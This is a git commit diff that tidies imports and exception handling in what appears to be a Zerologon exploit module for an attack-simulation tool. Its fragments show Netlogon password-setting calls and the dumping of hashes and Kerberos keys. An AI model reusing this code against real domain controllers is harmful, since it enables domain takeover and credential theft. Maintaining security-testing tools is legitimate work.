Remove unused imports and variable

This commit is contained in:
Shreya 2021-01-31 21:45:53 +05:30
parent 81c6de75b7
commit a908d31fc5
1 changed files with 4 additions and 14 deletions

View File

@ -5,34 +5,25 @@ Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://g
from __future__ import division, print_function from __future__ import division, print_function
import argparse
import cmd import cmd
import codecs
import io import io
import logging import logging
import ntpath import ntpath
import os import os
import re
import sys import sys
import time import time
import traceback import traceback
from binascii import hexlify, unhexlify from binascii import unhexlify
import impacket import impacket
from Cryptodome.Cipher import AES, ARC4, DES
from impacket import crypto, version
from impacket.dcerpc.v5 import epm, nrpc, transport from impacket.dcerpc.v5 import epm, nrpc, transport
from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.examples import logger
from impacket.examples.secretsdump import (LocalOperations, LSASecrets, from impacket.examples.secretsdump import (LocalOperations, LSASecrets,
NTDSHashes, RemoteOperations, NTDSHashes, RemoteOperations,
SAMHashes) SAMHashes)
from impacket.krb5.keytab import Keytab from impacket.smbconnection import SMBConnection
from impacket.smbconnection import (SMB2_DIALECT_002, SMB2_DIALECT_21,
SMB_DIALECT, SMBConnection)
from common.utils.exploit_enum import ExploitType from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
@ -350,8 +341,7 @@ class ZerologonExploiter(HostExploiter):
request["Authenticator"] = authenticator request["Authenticator"] = authenticator
pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key) pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key)
request["UasNewPassword"] = pwd_data request["UasNewPassword"] = pwd_data
resp = rpc_con.request(request) rpc_con.request(request)
# resp.dump()
except Exception as e: except Exception as e:
LOG.info(f"Unexpected error: {e}") LOG.info(f"Unexpected error: {e}")
@ -561,7 +551,7 @@ class DumpSecrets:
os.unlink(resume_file) os.unlink(resume_file)
try: try:
self.cleanup() self.cleanup()
except: except Exception:
pass pass
finally: finally:
dumped_secrets = _unset_stdout_and_return_captured() # includes hashes and kerberos keys dumped_secrets = _unset_stdout_and_return_captured() # includes hashes and kerberos keys